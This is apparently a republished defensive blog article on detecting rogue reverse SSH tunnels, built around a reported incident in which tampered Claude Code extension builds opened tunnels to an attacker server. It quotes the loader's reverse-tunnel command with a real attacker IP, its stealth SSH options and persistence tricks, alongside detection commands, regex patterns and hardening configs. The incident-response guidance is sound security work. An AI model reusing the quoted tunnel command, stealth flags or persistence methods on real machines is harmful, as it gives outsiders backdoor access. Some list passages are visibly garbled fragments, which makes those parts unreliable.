{"slug": "when-the-tunnel-is-the-payload-spotting-rogue-reverse-ssh-tunnels-on-developer", "title": "When the Tunnel Is the Payload: Spotting Rogue Reverse SSH Tunnels on Developer Machines", "summary": "A security analysis documented how tampered builds of the Claude Code extension (anthropic.claude-code versions 2.1.312 and 2.1.313), distributed through Cursor's extension marketplace for roughly 11 hours on October 29, 2026, attempted to turn developer machines into reverse SSH tunnels. StepSecurity recovered the malicious extension.js, a clean 2.1.312 bundle with a 7,386-byte loader prepended, which added an attacker key to authorized_keys, enabled remote login, opened an `ssh -N -R '*:0:localhost:22'` connection to tunnel@134.209.82.225, and installed reboot, LaunchAgent and scheduled-task persistence. Cursor estimated at most 5,000 users were affected and noted the SSH service typically requires admin rights the extension lacked, though the key and persistence artifacts could still land.", "body_md": "Most writing about SSH tunnels is about convenience: reach a database behind a firewall, expose a local dev server, skip the VPN. On October 29, 2026, the other side showed up. Tampered builds of the Claude Code extension, served through Cursor’s extension marketplace, tried to turn developer laptops into inbound doorways using nothing more than `ssh` and, when present, `autossh`.\n\nThis is a defensive guide. It covers what the tunnel looked like on the wire and on the host, how to separate a sanctioned tunnel from a rogue one, and how to build an allowlist that does not blind you. The incident is the example. The detection logic applies to any reverse SSH tunnel.\n\nAccording to [Cursor’s security notice](https://cursor.com/blog/claude-code-extension-security-notice), malicious builds of `anthropic.claude-code` versions 2.1.312 and 2.1.313 for Windows and macOS were available in the Cursor VS Code Extension Marketplace between about 2:27 a.m. and 1:35 p.m. PT on October 29. That is 09:27 to 20:35 UTC, roughly 11 hours. Cursor estimated that at most 5,000 users were affected. The tampered builds used the legitimate extension ID rather than a look-alike name, so an auto-update could deliver them.\n\nThree scoping points matter, because early coverage blurred them:\n\n`@anthropic-ai/claude-code` npm package. Early reports named Open VSX as an origin. StepSecurity later corrected that: Anthropic confirmed 2.1.313 was never published there, and StepSecurity verified the Open VSX copy of 2.1.312 as clean.\nStepSecurity recovered the malicious `extension.js` and analyzed it statically. The file is the clean 2.1.312 bundle with a single 7,386-byte loader spliced in front. The loader is not obfuscated. It runs when the module loads, with no Claude conversation and no install hook required, and it works in six stages, each wrapped in a `try/catch` that swallows errors:\n\n`KEY|TOKEN|SECRET|PASS|AWS|GCP`.` svc-telemetry` to `~/.ssh/authorized_keys`, unless the marker is already there.` systemctl` on Linux, `sudo -n systemsetup -setremotelogin on` on macOS, and installs the OpenSSH Server capability on Windows.`ssh -N -R` connection to `tunnel@134.209.82.225`.`@reboot` entry on Linux, a `com.apple.sysmond` LaunchAgent on macOS, and a `SysMon` scheduled task with a Startup-folder fallback on Windows.\nThe affected builds were for macOS and Windows, though the loader also contains a Linux code path. Microsoft maps the behavior to MITRE ATT&CK T1572 (Protocol Tunneling), T1098.004 (SSH Authorized Keys), T1053.003 (Cron) and T1053.005 (Scheduled Task).\n\nOne caveat matters for defenders: success depended on privileges. Cursor says that turning on the local SSH service needs admin rights the extension lacks on most macOS and Windows hosts, so the attacker could not log in through the tunnel on those machines. The exception is when Cursor was started with administrator privileges. StepSecurity adds that the macOS path works only where passwordless `sudo` is configured. Even so, Cursor and Microsoft agree that the key, the persistence artifacts and the host report could still land. A tunnel that cannot be used still leaves evidence you can find.\n\nThe incident’s own indicators are now stale, since the server is down. The behavior is not.\n\nAn ordinary SSH tunnel is initiated from the client toward something it wants to reach. A reverse tunnel flips the direction of reachability. The client makes an *outbound* connection, then asks the server to open a listening port that forwards back to a service on the client’s side.\n\nThe loader’s core command was `ssh -N -R '*:0:localhost:22'` to `tunnel@134.209.82.225`. Read it piece by piece:\n\n`-N` runs no remote command. The connection exists only to carry forwards.`-R` requests a remote forward, so a port on the attacker’s server connects back through the tunnel.`*:0` asks for a wildcard bind with port zero, which lets the server choose the listening port.`localhost:22` points that forward at the victim’s own SSH daemon.\nThe effect: a machine behind NAT, with no inbound firewall rule, can become reachable through a port on someone else’s server. Inbound firewall rules and NAT do nothing to stop it, because the connection starts from inside. Whether that port is reachable by the wider internet depends on the server’s configuration. A wildcard bind is honored only if the server’s `GatewayPorts` setting allows it. An attacker still needs the matching private key and a running SSH daemon on the victim to get a login. This is why a running tunnel process is a lead rather than proof of access.\n\nThe loader also tuned the connection for stealth and durability, per StepSecurity’s recovered source:\n\n`BatchMode=yes`, `StrictHostKeyChecking=no` and `UserKnownHostsFile=/dev/null`. Nothing asks the user anything and nothing is remembered.` ServerAliveInterval=30`, `ServerAliveCountMax=3`, `ExitOnForwardFailure=yes` and `ConnectTimeout=10`.` autossh -M 0` when installed. The `-M 0` flag turns off autossh’s monitoring port and leans on the keepalives instead. On Windows the same logic runs in a hidden PowerShell loop.`.stk_` plus ten hex characters. The characters come from a hash of the hostname and home directory, so the same machine always produces the same name. A second copy of the key lives under `~/.config` (`.smtk`), so cleaning the temp directory does not end the tunnel.\nEach of those choices is also a detection opportunity.\n\nNo single signal is conclusive, because legitimate developers run reverse tunnels too. Good detection stacks several weak signals into one confident one. MITRE’s detection strategy for Protocol Tunneling ([DET0538](https://attack.mitre.org/detectionstrategies/DET0538/)) takes the same approach. It pairs process creation, such as `ssh` with `-L`/`-R` forwarding flags, with network and `sshd` log data, and it lists an allowlist of legitimate tunneling tools as a tunable element.\n\nProcess creation is usually the highest-fidelity source, because the command line shows intent.\n\n`ssh` or `autossh` command line.`ssh.exe` and Plink. It matches `-oRemoteForward` and `-o RemoteForward`, and it uses a regular expression for `-NR` or `-fNR`. A naive search for `\" -R \"` misses those. Elastic ships the rule at low severity, which tells you it is meant to generate leads for triage, not verdicts.`*:0:` and `0.0.0.0:` forwards are unusual in sanctioned workflows, which tend to name a specific port.`cron`, or a scheduled task deserves attention. Elastic’s investigation guidance likewise says to escalate on shells, script interpreters, unusual parents and recently created binaries. A human typing in a terminal or a managed service unit is a different story.`ifconfig.me` and `api.ipify.org`, which the loader used to find its public IP. Many legitimate tools do the same.`authorized_keys`` C:\\ProgramData\\ssh\\administrators_authorized_keys`.` sshd` newly enabled`com.apple.*` label in a `.smt`, `.stk_*`).\nPolicy documents say “approved tunnels only.” Detection needs something testable. A workable rule of thumb: a sanctioned tunnel is **named, authenticated, and logged**.\n\n`~/.ssh/config` host alias or a managed service unit.\nHere is how that plays out in practice:\n\n| Property | Sanctioned tunnel | Rogue tunnel (as seen in this incident) | \n|---|---|---|\n| Destination | Hostname on an approved list (bastion, relay you operate) | Raw IP, no prior history | \n| Host-key checking | Enforced, known-hosts entry present | Disabled, known-hosts sent to `/dev/null` | \n| Key | Named key tied to a person or service | Embedded key written to a hidden temp file | \n| Forward spec | Specific loopback port for a specific service | Wildcard bind, port 0, target is local `sshd` | \n| Launched by | Terminal session, systemd unit, launchd job with a known label | Extension code, shell loop, cron, fake system-named job | \n| Persistence | Managed by config management or documented | `@reboot` cron, look-alike LaunchAgent, scheduled task | \n| Server side | You operate it and read its logs | Unknown third party | \n| Owner on request | Can name a ticket or teammate | Nobody | \n\nAs a rule of thumb (not a formal standard), if a tunnel fails more than two of those rows, treat it as hostile until someone with authority says otherwise.\n\nBlocking all SSH is not realistic; developers push to Git remotes over it every day. The failure mode to avoid is the opposite one: an allowlist so broad that it hides the next tunnel. Three principles help.\n\n**1. Allowlist the full tuple, not the tool.** Elastic’s false-positive guidance for its reverse-forwarding rule says benign activity should be tied to a verified combination of command line, host, user, parent process, executable, remote server and forward port. It tells you not to close an alert just because the binary is named `ssh.exe` or has a familiar path and signature. It also says to scope exceptions to the host, user, executable or hash, parent, and exact arguments, and not to suppress reverse forwarding across all hosts or accounts. An exception that reads “user X on host Y runs this binary from this parent to that relay on that port” is a control. An exception that reads “ignore `autossh`” is a hole.\n\n**2. Allowlist by destination, at the egress layer.** Default-deny outbound SSH from developer subnets and VPN pools, then permit your bastions, your relay, and the Git hosts you actually use. Because port 22 is not the only way out, pair this with destination-based rules for 443. GitHub, for example, documents SSH over the HTTPS port at `ssh.github.com:443`, a different hostname from `github.com`. Allow the specific host, not the port.\n\n**3. Give exceptions an expiry.** Time-box every tunnel exception and review it. A temporary exception for a demo that becomes permanent is how a monitoring gap is born.\n\nA managed client configuration for a sanctioned tunnel might look like this:\n\n```\nHost dev-relay\n    HostName relay.example.com\n    User tunnel-svc\n    IdentityFile ~/.ssh/id_ed25519_relay\n    IdentitiesOnly yes\n    StrictHostKeyChecking yes\n    ServerAliveInterval 30\n    ServerAliveCountMax 3\n    ExitOnForwardFailure yes\n    RemoteForward 127.0.0.1:9222 localhost:9222\n```\n\nNote what it does differently from the malicious one-liner. Host-key checking is on, the key is named, the forward targets one loopback port, and the whole thing lives in a file that audit tooling can read.\n\nIf you run the relay, you control what a tunnel can do. These OpenSSH server directives matter (see the [`sshd_config`](https://man.openbsd.org/sshd_config) and [` sshd`](https://man.openbsd.org/sshd) manual pages):\n\n`AllowTcpForwarding`` yes`, `no`, `local` or `remote`. Set it per user in `Match` blocks instead of globally.`PermitListen`` GatewayPorts``restrict`, `port-forwarding` and `permitlisten` let you pin a given key to a narrow job.\nAn illustrative relay configuration:\n\n```\n# /etc/ssh/sshd_config on a relay you operate\nGatewayPorts no\nLogLevel VERBOSE            # records key fingerprints on authentication\n\nMatch User tunnel-svc\n    AllowTcpForwarding remote\n    PermitListen 127.0.0.1:9222\n    PermitTTY no\n    X11Forwarding no\n    ForceCommand /bin/false\n# ~/.ssh/authorized_keys for tunnel-svc on the relay\nrestrict,port-forwarding,permitlisten=\"127.0.0.1:9222\" ssh-ed25519 AAAA... relay-key-for-dev-team\n```\n\nRun `sshd -T` to see the effective configuration, and add `-C` to test `Match` conditions for a given user and address.\n\nOn the endpoint, the cheap wins target the supply chain, since that is how this tunnel arrived:\n\n`sudo`\nRun these on a sample of machines, or push them through your management tooling. Treat results as leads, not proof.\n\n**macOS and Linux**\n\n```\n# Reverse-forwarding ssh/autossh processes (catches bundled flags like -NR)\nps -eo pid,ppid,user,command | grep -E '[a]utossh|[s]sh[[:space:]]+(.*[[:space:]])?-[A-Za-z]*R'\n\n# Established SSH connections with owning process (also lists inbound sessions)\nss -tnp state established '( dport = :22 )'    # Linux (root shows all processes)\nlsof -iTCP:22 -sTCP:ESTABLISHED -nP            # macOS\n\n# Hidden temp keys and suspicious dot-files from this loader\nls -la \"${TMPDIR:-/tmp}\"/.stk_* ~/.config/.smt ~/.config/.smtk 2>/dev/null\n\n# Keys and persistence\ngrep -n 'svc-telemetry' ~/.ssh/authorized_keys\ncrontab -l | grep -i '@reboot'                          # the cron path is the Linux branch\nls ~/Library/LaunchAgents | grep -i 'com.apple.sysmond'  # macOS\n```\n\nThe `-R` pattern also matches any short option cluster containing a capital R (for example `-oRequestTTY`), so expect some noise.\n\n**Windows (PowerShell)**\n\n```\n# ssh/plink processes with remote-forward arguments\nGet-CimInstance Win32_Process |\n  Where-Object { $_.CommandLine -match '(ssh|plink)(\\.exe)?\\s.*-[A-Za-z]*R' } |\n  Select-Object ProcessId, ParentProcessId, CommandLine\n\n# Look-alike scheduled task, fallback script, and temp key\nGet-ScheduledTask -TaskName SysMon -ErrorAction SilentlyContinue\nTest-Path \"$env:APPDATA\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\sysmon.cmd\"\nGet-ChildItem \"$env:TEMP\" -Force -Filter '.stk_*' -ErrorAction SilentlyContinue\n\n# Planted key (check both locations)\n$files = \"$HOME\\.ssh\\authorized_keys\", \"C:\\ProgramData\\ssh\\administrators_authorized_keys\" | Where-Object { Test-Path $_ }\nif ($files) { Select-String -Path $files -Pattern 'svc-telemetry' }\n```\n\n**Fleet sweep for this specific incident.** Look for installed `anthropic.claude-code-2.1.312-*` and `anthropic.claude-code-2.1.313-*` extension folders, and search each `extension.js` for `134.209.82.225` or `svc-telemetry`:\n\n```\ngrep -rlE '134\\.209\\.82\\.225|svc-telemetry' --include=extension.js \\\n  ~/.cursor/extensions/anthropic.claude-code-2.1.31[23]-* 2>/dev/null\n```\n\nFinding the extension folder is not proof of compromise. Confirm the download source and window, then look for the key. If the `svc-telemetry` key is present, Cursor says the machine is impacted. Preserve evidence first, then use [Cursor’s security notice](https://cursor.com/blog/claude-code-extension-security-notice) as the authority for the remediation scripts. Remove the key, persistence and tunnel processes, decide whether to rebuild the host, and rotate credentials and sessions from a trusted system. The loader collected only the *names* of environment variables, not their values. Cursor still warns that this does not rule out later credential access over the backdoor.\n\nThe lesson from the tampered Claude Code builds is not that one marketplace failed. It is that the tunnel itself can be the payload: about 7 KB of code, a stock `ssh` binary, and an outbound connection that most networks permit. The command line, the parent process, the destination and the persistence all give it away if you are collecting them.\n\nBuild your detection around the three words that separate a tool from a threat. If a tunnel is named, authenticated and logged, allowlist it narrowly and let it run. If it is none of those, find out who owns it.\n\n*Originally published at [https://instatunnel.my/blog/when-the-tunnel-is-the-payload-spotting-rogue-reverse-ssh-tunnels-on-developer-machines](https://instatunnel.my/blog/when-the-tunnel-is-the-payload-spotting-rogue-reverse-ssh-tunnels-on-developer-machines)*", "url": "https://wpnews.pro/news/when-the-tunnel-is-the-payload-spotting-rogue-reverse-ssh-tunnels-on-developer", "canonical_source": "https://dev.to/instatunnel/when-the-tunnel-is-the-payload-spotting-rogue-reverse-ssh-tunnels-on-developer-machines-k02", "published_at": "2026-11-02 01:40:51+00:00", "updated_at": "2026-11-02 01:52:21.174425+00:00", "lang": "en", "topics": ["ai-safety", "ai-tools", "developer-tools"], "entities": ["Cursor", "Anthropic", "Claude Code", "StepSecurity", "Microsoft", "Open VSX", "MITRE ATT&CK"], "also_reported_by": [], "alternates": {"html": "https://wpnews.pro/news/when-the-tunnel-is-the-payload-spotting-rogue-reverse-ssh-tunnels-on-developer", "markdown": "https://wpnews.pro/news/when-the-tunnel-is-the-payload-spotting-rogue-reverse-ssh-tunnels-on-developer.md", "text": "https://wpnews.pro/news/when-the-tunnel-is-the-payload-spotting-rogue-reverse-ssh-tunnels-on-developer.txt", "jsonld": "https://wpnews.pro/news/when-the-tunnel-is-the-payload-spotting-rogue-reverse-ssh-tunnels-on-developer.jsonld"}}